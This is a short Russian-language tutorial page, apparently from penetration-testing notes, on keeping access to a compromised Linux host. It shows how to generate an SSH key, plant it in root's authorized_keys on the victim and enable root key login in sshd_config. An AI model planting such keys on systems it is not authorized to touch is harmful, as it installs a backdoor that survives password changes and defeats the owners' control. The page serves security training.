# 01 - SSH Keys

Будем использовать аутентификацию на основе ключей SSH, а не аутентификации на основе пароля. Эта техника закрепления поможет сохранить доступ к атакуемой системе, если пароли учетных записей пользователей будут изменены админом\рутом.\
На машине атакующего нам нужно сгенерировать открытый и закрытый ключ, затем положить открытый ключ на  атакуемую машину в файл <mark style="color:orange;">/root/.ssh/authorized\_keys</mark>\
\
Обратите внимание, в данном примере я генерирую ключ не RSA, а ed25519. Он современнее и удобнее, однако SSH сервер может быть настроен только на работу с RSA ключами.\
Такие ошибки удобно ловить при подлючении командой <mark style="color:red;">ssh -vvv root\@victim</mark>&#x20;

```bash
// На машине атакующего
// генрируем ключ, выводим и копируем в буфер обмена
ssh-keygen -t ed25519 -a 100
cat .ssh/id_ed25519.pub

// На атакуемой машине просто вставляем наш .pub ключ в файл:
/root/.ssh/authorized_keys

// Если файла не существует, его нужно создать и дать верные права:
mkdir  /root/.ssh/ && touch /root/.ssh/authorized_keys
chmod 700 /root/.ssh && chmod 600 /root/.ssh/authorized_keys

```

Также не лишним будет проверить в /etc/ssh/sshd\_config директивы:\
PermitRootLogin <mark style="color:green;">yes</mark>\
PubkeyAuthentication <mark style="color:green;">yes</mark>

<figure><img src="https://2826317613-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyxXcvCa5Rbt6bHhLblf7%2Fuploads%2Ffx4ZSXj3nD2r4ubS0BVU%2F%D0%B8%D0%B7%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5.png?alt=media&#x26;token=d7890ea1-3d5d-4243-a5d4-cdb2047ffb37" alt=""><figcaption></figcaption></figure>

После этих действий мы спокойно можем логиниться по SSH на атакуемый хост.
